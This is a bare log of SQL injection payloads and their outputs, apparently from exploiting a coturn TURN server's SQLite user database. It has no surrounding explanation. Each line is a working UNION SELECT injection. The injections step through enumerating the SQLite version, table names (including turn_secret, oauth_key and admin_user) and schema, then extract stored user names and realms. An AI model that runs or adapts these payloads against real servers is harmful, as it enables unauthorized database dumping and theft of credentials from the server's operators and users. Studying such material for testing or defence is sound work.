user' union select (SELECT sqlite_version()),'0'; --
====> 3.24.0

user' union select (SELECT GROUP_CONCAT(tbl_name) FROM sqlite_master  WHERE type='table' and tbl_name NOT like 'sqlite_%'),'0'; --
====> turnusers_lt,turn_secret,allowed_peer_ip,denied_peer_ip,turn_origin_to_realm,turn_realm_option,oauth_key,admin_user

user' union select (SELECT GROUP_CONCAT(sql) FROM sqlite_master),'0'; --
====> CREATE TABLE turnusers_lt ( realm varchar(127) default '', name varchar(512), hmackey char(128), PRIMARY KEY (realm,name)),CREA

user' union select (SELECT GROUP_CONCAT(name) FROM turnusers_lt),'0'; --
====> donthackme

user' union select (SELECT GROUP_CONCAT(realm) FROM turnusers_lt),'0'; --
====> immersive